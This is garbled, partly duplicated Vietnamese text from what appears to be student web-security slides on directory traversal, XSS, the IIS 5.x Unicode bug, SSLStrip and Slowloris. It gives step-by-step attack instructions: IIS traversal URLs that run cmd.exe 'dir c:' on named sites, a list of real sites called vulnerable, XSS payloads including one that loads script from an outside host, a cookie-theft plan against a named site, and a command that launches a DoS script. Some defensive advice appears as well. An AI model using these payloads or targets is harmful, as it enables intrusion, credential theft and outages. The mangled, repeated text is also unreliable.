+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
1 XSS (Cross-Site Scripting)
2 SSLStrip3 Directory Traversal
Attack4 Web Server
Technologies5 CGI Tester6 Code execution7 Cookie manipulation8 CRLF injection9 XFS vulnerability10 Email Injection
2 File inclusion3 File tampering4 Full path disclosure5 Remote XSL inclusion6 Script source code
disclosure7 SQL injection8 URL redirection9 XPath Injection
vulnerability10 Blind SQLXPath injectionhelliphelliphellip
Acunetix WVS (Web Vulnerability Scanner) lagrave cocircng cụ dừng để kiểm tra mức độ bảo mật của caacutec website noacute sẽ tự động kiểm tra caacutec ứng dụng Web để tigravem kiếm caacutec lỗ hổng bảo mật như SQL Injection hay Cross-Site Scriptinghellip
Noacute coacute thể queacutet bất cứ trang web nagraveo truy xuất bằng trigravenh duyệt web thocircng qua giao thức Http vagrave Https
Sau quaacute trigravenh thu thập thocircng tin WVS sẽ phacircn tiacutech từng trang nơi coacute dữ liệu đầu vagraveo từ đoacute sẽ đưa ra caacutec caacutech khai thaacutec khaacutec nhau trecircn mỗi trang tigravem được
Sau khi queacutet xong thigrave dữ liệu sẽ được lưu xuống database vagrave coacute thể xuất ra baacuteo caacuteo trong suốt quaacute trigravenh queacutet
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
